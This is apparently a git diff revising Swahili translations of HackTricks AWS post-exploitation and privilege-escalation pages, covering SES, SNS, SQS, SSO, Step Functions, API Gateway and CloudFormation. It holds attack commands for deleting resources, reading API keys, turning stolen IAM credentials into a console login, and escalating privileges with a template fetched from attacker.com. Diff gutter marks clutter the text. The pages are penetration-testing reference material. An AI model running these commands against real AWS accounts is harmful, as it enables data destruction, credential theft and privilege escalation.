### `ses:SendBounce`
|
||||
|
||||
Tuma **barua ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe.
|
||||
Tuma **barua pepe ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Still to test.
|
||||
Bado kujaribu.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
@@ -64,6 +64,6 @@ Hii itatuma barua pepe ya uthibitisho iliyobinafsishwa. Unaweza kuhitaji ruhusa
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
```
|
||||
Bado kupima.
|
||||
Bado kujaribu.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,15 +20,15 @@ Mshambuliaji anaweza kufuta mada nzima ya SNS, na kusababisha kupotea kwa ujumbe
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kupoteza ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa.
|
||||
**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali.
|
||||
Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwa mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali.
|
||||
**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au matumizi mabaya ya rasilimali.
|
||||
|
||||
### `sns:SetTopicAttributes`
|
||||
|
||||
@@ -54,9 +54,9 @@ Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mad
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada.
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingilia kati kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo.
|
||||
|
||||
### `sns:TagResource` , `sns:UntagResource`
|
||||
### `sns:TagResource`, `sns:UntagResource`
|
||||
|
||||
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SNS, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
|
||||
```bash
|
||||
|
||||
@@ -17,7 +17,7 @@ Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, a
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali.
|
||||
**Madhara Yanayoweza Kutokea**: Ukatili wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
@@ -27,7 +27,7 @@ aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathiriwa.
|
||||
**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathirika.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
@@ -68,6 +68,6 @@ Mshambuliaji anaweza kubatilisha ruhusa za watumiaji halali au huduma kwa kuondo
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa.
|
||||
**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea foleni kutokana na kuondolewa kwa ruhusa zisizoidhinishwa.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
|
||||
|
||||
Ruhusa hizi zinaweza kutumika kuharibu ruhusa:
|
||||
Hizi ruhusa zinaweza kutumika kuharibu ruhusa:
|
||||
```bash
|
||||
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
# AWS - Hatua za Kazi Baada ya Utekelezaji
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
## Hatua za Kazi
|
||||
|
||||
Kwa maelezo zaidi kuhusu huduma hii ya AWS, angalia:
|
||||
|
||||
@@ -18,13 +18,13 @@ Ruhusa hii inaruhusu **kufichua data ya siri ndani ya utekelezaji**. Ili kufanya
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathiriwa. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri operesheni kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali.
|
||||
Mshambuliaji mwenye ruhusa hizi angeweza kufuta kabisa mashine za hali, toleo zao, na majina. Hii inaweza kuharibu michakato muhimu, kusababisha kupoteza data, na kuhitaji muda mwingi kurekebisha na kurejesha mashine za hali zilizoathirika. Zaidi ya hayo, ingemruhusu mshambuliaji kuficha alama zilizotumika, kuharibu uchunguzi wa forensics, na kwa uwezekano kuathiri shughuli kwa kuondoa michakato muhimu ya automatisering na usanidi wa hali.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Kufuta mashine ya hali pia unafuta toleo zake zote zinazohusiana na majina.
|
||||
> - Kufuta jina la mashine ya hali huondoi toleo za mashine ya hali zinazorejelea jina hili.
|
||||
> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelewa na moja au zaidi ya majina.
|
||||
> - Kufuta mashine ya hali pia unafuta toleo zake zote na majina.
|
||||
> - Kufuta jina la mashine ya hali huwezi kufuta toleo za mashine ya hali zinazohusiana na jina hili.
|
||||
> - Haiwezekani kufuta toleo la mashine ya hali ambalo kwa sasa linarejelea na jina moja au zaidi.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kukimbia na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji angeweza kuingilia kati asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 ili kila wakati kipengele kinaposhindwa, ramani nzima ya kukimbia itashindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia kati michakato muhimu.
|
||||
Mshambuliaji mwenye ruhusa hii angeweza kubadilisha usanidi wa kushindwa kwa Ramani ya Kukimbia na mipangilio ya sambamba, akiwa na uwezo wa kuongeza au kupunguza idadi ya juu ya utekelezaji wa michakato ya watoto inayoruhusiwa, ikihusisha moja kwa moja na utendaji wa huduma. Zaidi ya hayo, mshambuliaji angeweza kuingilia kati asilimia na hesabu ya kushindwa inayokubalika, akiwa na uwezo wa kupunguza thamani hii hadi 0 hivyo kila wakati kipengee kinaposhindwa, ramani nzima ya kukimbia ingeshindwa, ikihusisha moja kwa moja na utekelezaji wa mashine ya hali na kwa uwezekano kuingilia kati michakato muhimu.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -45,10 +45,10 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na shughuli zinazoendelea. Hii inaweza kusababisha muamala usiokamilika, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data.
|
||||
Mshambuliaji mwenye ruhusa hii anaweza kuweza kusitisha utekelezaji wa mashine yoyote ya hali, kuingilia michakato na kazi zinazoendelea. Hii inaweza kusababisha muamala usiokamilika, shughuli za biashara kusimama, na uwezekano wa uharibifu wa data.
|
||||
|
||||
> [!WARNING]
|
||||
> Hatua hii hait supported na **express state machines**.
|
||||
> Hatua hii haisaidiwi na **mashine za hali za haraka**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
@@ -56,7 +56,7 @@ aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--ca
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
|
||||
Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Step Functions, akiharibu mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
|
||||
@@ -12,12 +12,12 @@ Kwa maelezo zaidi:
|
||||
|
||||
### Kutoka kwa IAM Creds hadi Console
|
||||
|
||||
Ikiwa umeweza kupata baadhi ya akreditif za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\
|
||||
Ikiwa umeweza kupata baadhi ya akreditivu za IAM huenda ukavutiwa na **kuingia kwenye web console** ukitumia zana zifuatazo.\
|
||||
Kumbuka kwamba mtumiaji/role lazima iwe na ruhusa **`sts:GetFederationToken`**.
|
||||
|
||||
#### Skripti ya Kawaida
|
||||
|
||||
Skripti ifuatayo itatumia profaili ya kawaida na eneo la AWS la kawaida (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console:
|
||||
Skripti ifuatayo itatumia profaili ya kawaida na eneo la kawaida la AWS (sio gov na sio cn) kukupa URL iliyosainiwa ambayo unaweza kutumia kuingia ndani ya web console:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
|
||||
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
@@ -65,22 +64,22 @@ pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
> [!WARNING]
|
||||
> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kukubali.
|
||||
> Hakikisha mtumiaji wa IAM ana ruhusa ya `sts:GetFederationToken`, au toa jukumu la kuchukua.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akreditivu za AWS katika mazingira ya maendeleo.
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) ni chombo cha kuhifadhi na kufikia kwa usalama akidi za AWS katika mazingira ya maendeleo.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
> [!NOTE]
|
||||
> Unaweza pia kutumia **aws-vault** kupata **kipindi cha mkondoni cha kivinjari**
|
||||
> Unaweza pia kutumia **aws-vault** kupata **kipindi cha kikao cha kivinjari**
|
||||
|
||||
### **Kupita vizuizi vya User-Agent kutoka Python**
|
||||
|
||||
Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na user agent** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na user agent) inawezekana kutumia mbinu ya awali ili **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha user-agent wa boto3** kwa kufanya:
|
||||
Ikiwa kuna **kizuizi cha kufanya vitendo fulani kulingana na agent ya mtumiaji** inayotumika (kama vile kupunguza matumizi ya maktaba ya python boto3 kulingana na agent ya mtumiaji) inawezekana kutumia mbinu ya awali **kuungana na konsoli ya wavuti kupitia kivinjari**, au unaweza moja kwa moja **kubadilisha agent ya mtumiaji ya boto3** kwa kufanya:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## AWS Privilege Escalation
|
||||
|
||||
Njia ya kupandisha hadhi yako katika AWS ni kuwa na ruhusa za kutosha ili uweze, kwa namna fulani, kufikia ruhusa za majukumu/katumizi/mikundi mingine. Kuunganisha kupandisha hadhi hadi upate ufikiaji wa admin juu ya shirika.
|
||||
Njia ya kupandisha hadhi yako katika AWS ni kuwa na ruhusa za kutosha ili, kwa namna fulani, kufikia ruhusa za majukumu/katumizi/mikundi mingine. Kuunganisha kupandisha hadhi hadi upate ufikiaji wa admin juu ya shirika.
|
||||
|
||||
> [!WARNING]
|
||||
> AWS ina **mamia** (ikiwa si maelfu) ya **ruhusa** ambazo chombo kinaweza kupewa. Katika kitabu hiki unaweza kupata **ruhusa zote ninazozijua** ambazo unaweza kutumia vibaya ili **kupandisha hadhi**, lakini ikiwa unajua **njia fulani** ambayo haijatajwa hapa, **tafadhali shiriki**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ikiwa sera ya IAM ina `"Effect": "Allow"` na `"NotAction": "Someaction"` ikionyesha **rasilimali**... hiyo inamaanisha kwamba **mwanachama aliye ruhusiwa** ana **ruhusa ya kufanya KILA KITU isipokuwa ile hatua iliyoainishwa**.\
|
||||
> Hivyo kumbuka kwamba hii ni njia nyingine ya **kutoa ruhusa za kipaumbele** kwa mwanachama.
|
||||
> Ikiwa sera ya IAM ina `"Effect": "Allow"` na `"NotAction": "Someaction"` ikionyesha **rasilimali**... hiyo inamaanisha kwamba **mwenye ruhusa aliyeidhinishwa** ana **ruhusa ya kufanya KILA KITU isipokuwa ile hatua iliyoainishwa**.\
|
||||
> Hivyo kumbuka kwamba hii ni njia nyingine ya **kutoa ruhusa za kipaumbele** kwa mwenye ruhusa.
|
||||
|
||||
**Kurasa za sehemu hii zimepangwa kwa huduma za AWS. Ndani yake utaweza kupata ruhusa ambazo zitakuruhusu kupandisha hadhi.**
|
||||
|
||||
|
||||
@@ -25,11 +25,11 @@ Kwa ruhusa hii unaweza kupata funguo za API zilizozalishwa za APIs zilizowekwa (
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
|
||||
**Madhara Yanayoweza Kutokea:** Huwezi kufanya privesc kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji wa uwezekano ambao API gateway inaweza kuwa nao (kama kuitisha lambda iliyo hatarini).
|
||||
Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipatia ufikiaji wa kuitumia na kutumia ufikiaji ambao API gateway inaweza kuwa nao (kama kuanzisha lambda iliyo hatarini).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
@@ -56,7 +56,7 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la kazi ya Lambda.
|
||||
**Madhara Yanayoweza Kutokea**: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function.
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
> [!NOTE]
|
||||
> Inahitaji kupimwa
|
||||
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateVpcLink` anaweza **kubadilisha Kiungo cha VPC kilichopo ili kiashirie kwenye Balansi ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwenye rasilimali zisizoidhinishwa au zenye uharibifu**.
|
||||
Mshambuliaji mwenye ruhusa `apigateway:UpdateVpcLink` anaweza **kubadilisha VPC Link iliyopo ili kuelekeza kwenye Balancer ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwa rasilimali zisizoidhinishwa au zenye uharibifu**.
|
||||
```bash
|
||||
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
|
||||
@@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu cloudformation angalia:
|
||||
|
||||
### `iam:PassRole`, `cloudformation:CreateStack`
|
||||
|
||||
Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** na kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:**
|
||||
Mshambuliaji mwenye ruhusa hizi **anaweza kuongeza mamlaka** kwa kutunga **CloudFormation stack** yenye kiolezo maalum, kilichohifadhiwa kwenye seva yao, ili **kutekeleza vitendo chini ya ruhusa za jukumu lililobainishwa:**
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name <stack-name> \
|
||||
--template-url http://attacker.com/attackers.template \
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Katika kesi hii unaweza **kuitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:
|
||||
Katika kesi hii unaweza **kutitumia stack ya cloudformation iliyopo** kuisasaisha na kupandisha ruhusa kama ilivyo katika hali ya awali:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa.
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa.
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusaidia stacks** zilizotumika na kutumia **IAM Roles walizo tayari wameambatanisha**. Angalia sehemu ya awali kwa mfano wa exploit (usionyeshe jukumu lolote katika sasisho).
|
||||
Ikiwa una ruhusa hii lakini **hakuna `iam:PassRole`** bado unaweza **kusasisha stacks** zinazotumika na kutumia vibaya **IAM Roles ambazo tayari zimeunganishwa**. Angalia sehemu ya awali kwa mfano wa matumizi (usionyeshe jukumu lolote katika sasisho).
|
||||
|
||||
The `cloudformation:SetStackPolicy` ruhusa inaweza kutumika **kujipewe ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujiwezesha ruhusa ya `UpdateStack`** juu ya stack na kufanya shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa huduma ya cloudformation iliyotajwa tayari.
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa jukumu la huduma la cloudformation lililotajwa tayari.
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia huduma za cloudformation** kama ilivyo kwa CreateStack au UpdateStack.
|
||||
Mshambuliaji mwenye ruhusa za **kupitisha jukumu na kuunda & kutekeleza ChangeSet** anaweza **kuunda/sasisha stack mpya ya cloudformation kutumia vibaya jukumu la huduma la cloudformation** kama ilivyo kwa CreateStack au UpdateStack.
|
||||
|
||||
Exploit ifuatayo ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack.
|
||||
Mfano ufuatao ni **tofauti ya**[ **CreateStack moja**](./#iam-passrole-cloudformation-createstack) ikitumia **ruhusa za ChangeSet** kuunda stack.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
|
||||
--stack-name privesc \
|
||||
--region eu-west-1
|
||||
```
|
||||
The `cloudformation:SetStackPolicy` permission can be used to **kujipa ruhusa za `ChangeSet`** juu ya stack na kufanya shambulio.
|
||||
Ruhusa `cloudformation:SetStackPolicy` inaweza kutumika **kujipewe ruhusa za `ChangeSet`** juu ya stack na kutekeleza shambulio.
|
||||
|
||||
**Athari Zinazoweza Kutokea:** Privesc kwa majukumu ya huduma ya cloudformation.
|
||||
|
||||
|
||||
@@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \
|
||||
--role arn:aws:iam::[REDACTED]:role/adminaccess \
|
||||
--capabilities CAPABILITY_IAM --region us-west-2
|
||||
```
|
||||
**Subiri kwa dakika chache** ili stack itengenezwe na kisha **pata matokeo** ya stack ambapo **vithibitisho vinahifadhiwa**:
|
||||
**Subiri kwa dakika chache** ili stack itengenezwe kisha **pata matokeo** ya stack ambapo **vithibitisho vinahifadhiwa**:
|
||||
```bash
|
||||
aws cloudformation describe-stacks \
|
||||
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
|
||||
--region uswest-2
|
||||
```
|
||||
### References
|
||||
### Marejeo
|
||||
|
||||
- [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user